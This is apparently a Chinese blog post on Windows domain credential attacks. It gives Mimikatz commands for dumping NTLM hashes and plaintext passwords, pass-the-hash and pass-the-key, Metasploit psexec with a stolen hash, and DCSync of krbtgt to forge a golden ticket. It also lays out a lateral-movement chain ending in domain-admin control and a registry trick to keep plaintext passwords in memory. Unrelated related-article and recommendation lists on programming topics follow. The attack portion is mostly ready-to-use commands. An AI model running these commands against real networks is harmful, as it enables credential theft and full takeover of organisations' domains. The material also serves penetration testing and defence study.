Hash(Key) 获取


  • 工具: Mimikatz
  • 用法:
.\mimikatz.exe
privilege::debug #查看权限
sekurlsa::logonpasswords #获取hash和明文密码(如果可以的话)
sekurlsa::ekeys #获取kerberos加密凭证



Hash(Key)传递


Mimikatz

sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /ntlm:xxxxxxxxxxxx  #hash传递
sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /aes256:xxxxxxxxxxxxxx #key传递

Metaspolit

传递Hash

msf> use windows/smb/psexec
msf exploit(windows/smb/psexec)>set rhost a.b.c.d
msf exploit(windows/smb/psexec)>set rport 445 (139会更好一点)
msf exploit(windows/smb/psexec)>set smbuser xxxx
msf exploit(windows/smb/psexec)>set smbpass hashdump中的hash
msf exploit(windows/smb/psexec)>set domain xxxx
msf exploit(windows/smb/psexec)>exploit

Windows NTLM哈希传递和票据的原理


Windows验证的流程

  • 1.首先用户在客户端输入username、password、domain,然后客户端会先将用户输入的password进行hash计算并保存在本地;
  • 2.客户端将username明文传输到域控机
  • 3.然后域控会随机生成16字节的challenge挑战码返回给客户端
  • 4.客户端接收到challenge之后,会用之前password的hash进行加密(称为response),和challenge、username一起发送给服务器
  • 5.服务端将客户端发来的信息转发给域控
  • 6.域控在接收到服务端发来的response、challenge、username,会拿着username在自己的活动目录数据库(ntds.dit)中查询出对应的password hash,并对challenage进行一次加密,如果和用户发来的response相同则身份验证成功,否则则失败。

kerberos协议认证原理

请参考我的博文Kerberos认证协议分析

Hash的利用方式

NTLM验证靠HASH值,Kerberos靠票据(TICKET),在这里hash是可以传递的,使用hash可以直接登录系统,渗透方式如下:

  • 1.获得一台域主机的权限
  • 2.Dump内存获得用户hash
  • 3.通过pass the hash尝试登录其他主机
  • 4.继续搜集hash并尝试远程登录
  • 5.直到获得域管理员账户hash,登录域控,最终成功控制整个域

引用:

但是在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码(ps:可以通过在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest中新建键值来使下次管理员登陆后明文保存密码,但是效率太低,不推荐),且禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、PSEXEC、schtasks、at和访问文件共享,但是唯独默认的 Administrator (SID 500)账号例外,依然可以通过这个账号进行pass the hash进行攻击

票据的利用方式

kerberos有两种平票据:一种是silver ticket,有账号hash加密,可以访问特定的服务;另外一种是golden ticket,可以访问域内所有服务;这个黄金票据是用kerberos账户的hash生成的,我们来看下操作:

# 1 首先我们要抓取kerboers的hash
lsadump::dcsync /domain:xxx.xxxxx /user:krbtgt
# 2 生成票据
kerberos::purge
kerberos::golden /admin:administrator /domain:xxx.xxxx /sid:SID /krbtgt:hash值 /ticket:administrator.kiribi
# 3 获取权限
kerberos::ptt administrator.kiribi
kerberos::tgt

Windows NTLM Hash和Hash传递、Key传递攻击的更多相关文章

  1. windows中抓取hash小结(上)

    我上篇随笔说到了内网中横向移动的几种姿势,横向移动的前提是获取了具有某些权限的用户的明文密码或hash,正愁不知道写点啥,那就来整理一下这个"前提"-----如何在windows系 ...

  2. 解决react不能往setState中传key作为参数的办法(文章最后实现了传递key做参数的办法)

    读者朋友可以直接看最后一个分割线下面的那部分!利用方括号语法来动态的访问对象的属性,实现当参数为属性名的传递; 有时候我们需要每次单独设置众多state中的一个,但是,都是进行相同的操作,这时候如果每 ...

  3. windows中抓取hash小结(下)

    书接上回,windows中抓取hash小结(上) 指路链接 https://www.cnblogs.com/lcxblogs/p/13957899.html 继续 0x03 从ntds.dit中抓取 ...

  4. Hash Map (Hash Table)

    Reference: Wiki  PrincetonAlgorithm What is Hash Table Hash table (hash map) is a data structure use ...

  5. 字符串Hash/树Hash学习笔记

    哈希 Tags:字符串 作业部落 评论地址 一.概述 百度百科: 散列表(Hash table/哈希表),是根据关键码值(Key value)而直接进行访问的数据结构. 哈希表常用于比较两个字符串是否 ...

  6. 理解--->Java中的值传递&引用传递

    转自:http://url.cn/5tL9F5D 值传递和引用传递 值传递(pass by value)是指在调用函数时将实际参数复制一份传递到函数中,这样在函数中如果对参数进行修改,将不会影响到实际 ...

  7. 对象引用 方法传参 值传递 引用传递 易错点 MD

    Markdown版本笔记 我的GitHub首页 我的博客 我的微信 我的邮箱 MyAndroidBlogs baiqiantao baiqiantao bqt20094 baiqiantao@sina ...

  8. window.location.hash(hash应用)---跳转到hash值制定的具体页面

    location是javascript里边管理地址栏的内置对象,比如location.href就管理页面的url,用location.href=url就可以直接将页面重定向url.而location. ...

  9. C++之值传递&指针传递&引用传递详解

    C++之值传递&指针传递&引用传递详解 目录 C++之值传递&指针传递&引用传递详解 1.函数基础 2.值传递 3.指针传递 4.引用传递 1.函数基础 一个函数由以下 ...

随机推荐

  1. opengl deferred shading

    原文地址:http://www.verydemo.com/demo_c284_i6147.html 一.Deferred shading技术简介 Deferred shading是这样一种技术:将光照 ...

  2. HttpServletRequest修改/添加header和cookie参数

    实现功能: 所有接口经过过滤器,获取每个接口的自定义头部(token) 判断如果是app访问,则给头部设置cookie,值为自定义token的值. 即:使用过滤器实现修改请求头headers 实现步骤 ...

  3. 性能监控-TP理解

    首先给出Google到的答案: The tp90 is a minimum time under which 90% of requests have been served. tp90 = top ...

  4. vue select二级城市联动及第二级默认选中第一个option值

    当二级联动比如选择国家的时候,希望选中一个国家的时候后面城市默认选中第一个城市,则给国家的select加一个@change事件就可以了 <div class="inputLine&qu ...

  5. tomcat设置debug模式

    1.设置 编辑catalina.bat,在 rem Guess CATALINA_HOME if not definedset "CURRENT_DIR=%cd%"if not & ...

  6. 既使用maven又使用lib下的Jar包

    maven 使用本地包 lib jar包 依赖一个lib目录 解决方法: # 把本地的lib加入maven编译时的依赖路径 From:http://blog.chinaunix.net/uid-231 ...

  7. 创建Maven创建src/main/java提示反复

    建立好一个Maven项目后.假设Java Resources资源文件下没有src/main/java目录,而且在手动创建这个文件时提示"已存在文件". 这说明,在这个项目配置中已经 ...

  8. CMake区分MSVC版本

    MSVC++ 4.x _MSC_VER == 1000 MSVC++ 5.0 _MSC_VER == 1100 MSVC++ 6.0 _MSC_VER == 1200 MSVC++ 7.0 _MSC_ ...

  9. 编译Android 必须安装的库

    要安装的库: 正在卸载 build-essential ...正在卸载 g++-multilib ...正在卸载 g++ ...正在卸载 gcc-multilib ...正在卸载 gcc ...正在卸 ...

  10. DRBD架构详解(原创)

    DRBD概述Distributed Replicated Block Device(DRBD)是一种基于软件的,无共享,复制的存储解决方案,在服务器之间的对块设备(硬盘,分区,逻辑卷等)进行镜像.DR ...